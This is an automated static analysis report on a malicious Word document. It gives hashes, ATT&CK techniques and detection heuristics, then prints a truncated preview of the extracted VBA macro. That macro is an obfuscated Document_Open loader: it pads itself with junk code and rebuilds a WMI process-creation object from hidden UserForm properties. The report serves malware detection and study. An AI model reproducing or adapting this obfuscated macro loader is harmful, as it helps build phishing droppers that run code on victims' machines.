Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 40f7770f2b4cf7b9…

MALICIOUS

Office (OLE)

234.5 KB Created: 2020-08-17 23:04:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 01aefc22cab1e855c53ad9a19f7a6d1e SHA-1: f323b6e1ae1073c1039f5345c84e57ed02c6abd5 SHA-256: 40f7770f2b4cf7b9278695e6fcea916099ecedae08d4f4b3070f3fb47feb413b
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of malicious intent. The presence of these elements suggests the macro is designed to execute code, likely to download and run a secondary payload. ClamAV detection further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Evbj-9371577-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Evbj-9371577-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9866 bytes
SHA-256: 931c8687f837205782b9f72a37d5e32cf11660dc81de4e22674ef61e1cb296c7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Mc70xingpsgtav"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
I9wv7bykr2xyx_d8.Xwbrmydy9gecnz
End Sub


Attribute VB_Name = "I9wv7bykr2xyx_d8"
Attribute VB_Base = "0{7A66B3B5-A4A8-4981-B15E-9B62533730D5}{0457040E-25FF-4DEB-8452-0F2C184CA8DA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Xwbrmydy9gecnz()
   If 791639 <> 777579 Then
Kfmvv4v_phse6 = 791639 + 1989
Stsh3769oaz0czd = 777579 - 2013
Else
InputBox (CStr(Kfmvv4v_phse6) & CStr(Stsh3769oaz0czd))
End If
Stsh3769oaz0czd = "KAjamLNcTV"
F3u4zsmdkojeybek = 623691
B9fdoncgarkr = B9fdoncgarkr & CStr(F3u4zsmdkojeybek)
Msrmvziilllcvnph = B9fdoncgarkr
R2t3vd4diaa7642yp = I9wv7bykr2xyx_d8.HelpContextId + 100
   If 791639 <> 777579 Then
Kfmvv4v_phse6 = 791639 + 1989
Stsh3769oaz0czd = 777579 - 2013
Else
InputBox (CStr(Kfmvv4v_phse6) & CStr(Stsh3769oaz0czd))
End If
Stsh3769oaz0czd = "KAjamLNcTV"
F3u4zsmdkojeybek = 623691
B9fdoncgarkr = B9fdoncgarkr & CStr(F3u4zsmdkojeybek)
Msrmvziilllcvnph = B9fdoncgarkr
Pkqiw499iscc03 = ChrW(R2t3vd4diaa7642yp + (100 + 35) / 9)
   If 791639 <> 777579 Then
Kfmvv4v_phse6 = 791639 + 1989
Stsh3769oaz0czd = 777579 - 2013
Else
InputBox (CStr(Kfmvv4v_phse6) & CStr(Stsh3769oaz0czd))
End If
Stsh3769oaz0czd = "KAjamLNcTV"
F3u4zsmdkojeybek = 623691
B9fdoncgarkr = B9fdoncgarkr & CStr(F3u4zsmdkojeybek)
Msrmvziilllcvnph = B9fdoncgarkr
W2zli38xlmht = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Pkqiw499iscc03 + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + I9wv7bykr2xyx_d8.Pk054c12tzr3_3lo + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
Kfmvv4v_phse6 = 791639 + 1989
Stsh3769oaz0czd = 777579 - 2013
Else
InputBox (CStr(Kfmvv4v_phse6) & CStr(Stsh3769oaz0czd))
End If
Stsh3769oaz0czd = "KAjamLNcTV"
F3u4zsmdkojeybek = 623691
B9fdoncgarkr = B9fdoncgarkr & CStr(F3u4zsmdkojeybek)
Msrmvziilllcvnph = B9fdoncgarkr
Cx6vcjc24jkd2sjige = Aw3a3qmbwk1g905sj(W2zli38xlmht)
   If 791639 <> 777579 Then
Kfmvv4v_phse6 = 791639 + 1989
Stsh3769oaz0czd = 777579 - 2013
Else
InputBox (CStr(Kfmvv4v_phse6) & CStr(Stsh3769oaz0czd))
End If
Stsh3769oaz0czd = "KAjamLNcTV"
F3u4zsmdkojeybek = 623691
B9fdoncgarkr = B9fdoncgarkr & CStr(F3u4zsmdkojeybek)
Msrmvziilllcvnph = B9fdoncgarkr
Set Qs1uo0m8s7ll92shmh = CreateObject(Cx6vcjc24jkd2sjige)
   If 791639 <> 777579 Then
Kfmvv4v_phse6 = 791639 + 1989
Stsh3769oaz0czd = 777579 - 2013
Else
InputBox (CStr(Kfmvv4v_phse6) & CStr(Stsh3769oaz0czd))
End If
Stsh3769oaz0czd = "KAjamLNcTV"
F3u4zsmdkojeybek = 623691
B9fdoncgarkr = B9fdoncgarkr & CStr(F3u4zsmdkojeybek)
Msrmvziilllcvnph = B9fdoncgarkr
U1__4r4b_5y = I9wv7bykr2xyx_d8.Jtoc59vwxggvmur9ye.ControlTipText
   If 791639 <> 777579 Then
Kfmvv4v_phse6 = 791639 + 1989
Stsh3769oaz0czd = 777579 - 2013
Else
InputBox (CStr(Kfmvv4v_phse6) & CStr(Stsh3769oaz0czd))
End If
Stsh3769oaz0czd = "KAjamLNcTV"
F3u4zsmdkojeybek = 623691
B9fdoncgarkr = B9fdoncgarkr & CStr(F3u4zsmdkojeybek)
Msrmvziilllc
... (truncated)

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